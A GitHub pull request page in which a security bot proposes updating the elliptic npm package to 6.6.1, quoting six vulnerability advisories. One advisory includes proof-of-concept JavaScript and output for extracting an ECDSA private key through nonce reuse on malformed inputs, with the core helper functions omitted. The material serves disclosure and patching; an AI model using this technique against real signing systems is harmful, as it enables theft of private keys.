Skip to content

Update elliptic to version >= 6.6.1 #134

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Closed
wants to merge 1 commit into from
Closed

Update elliptic to version >= 6.6.1 #134

wants to merge 1 commit into from

Conversation

gardera-security[bot]
Copy link

Update elliptic to 6.6.1

Merge this pull request to resolve 6 vulnerabilities in elliptic.

- GHSA-vjh7-7g9h-fjfh: Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)

Description

Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })

Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)

Output:

Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a

Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:

Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6

restored is equal to orig mod N.

Impact

Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

References

Publish date

2025-02-12 19:47:52+00:00

- CVE-2024-42459: elliptic: nodejs/elliptic: EDDSA signature malleability due to missing signature length check

Description

In the Elliptic package 6.5.6 for Node.js, EDDSA signature malleability occurs because there is a missing signature length check, and thus zero-valued bytes can be removed or appended.

References

Publish date

2024-08-02 07:16:10.003000+00:00

- CVE-2024-42460: elliptic: nodejs/elliptic: ECDSA signature malleability due to missing checks

Description

In the Elliptic package 6.5.6 for Node.js, ECDSA signature malleability occurs because there is a missing check for whether the leading bit of r and s is zero.

References

Publish date

2024-08-02 07:16:10.120000+00:00

- CVE-2024-42461: elliptic: nodejs/elliptic: ECDSA implementation malleability due to BER-enconded signatures being allowed

Description

In the Elliptic package 6.5.6 for Node.js, ECDSA signature malleability occurs because BER-encoded signatures are allowed.

References

Publish date

2024-08-02 07:16:10.230000+00:00

- CVE-2024-48948: elliptic: ECDSA signature verification error may reject legitimate transactions

Description

The Elliptic package 6.5.7 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.

References

Publish date

2024-10-15 14:15:05.280000+00:00

- CVE-2024-48949: elliptic: Missing Validation in Elliptic's EDDSA Signature Verification

Description

The verify function in lib/elliptic/eddsa/index.js in the Elliptic package before 6.5.6 for Node.js omits "sig.S().gte(sig.eddsa.curve.n) || sig.S().isNeg()" validation.

References

Publish date

2024-10-10 01:15:11.127000+00:00

@gardera-security gardera-security bot added the dependencies Pull requests that update a dependency file label May 12, 2025
gardera-security[bot]
gardera-security bot commented May 12, 2025
View reviewed changes
Copy link
Author

@gardera-security gardera-security bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gardera Security Scan Results

🛡️ Scan Summary

No security issues were identified in this scan.

@patriknordlen patriknordlen deleted the gardera/npm/elliptic-6.5.4 branch May 12, 2025 19:08
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
1 participant
@patriknordlen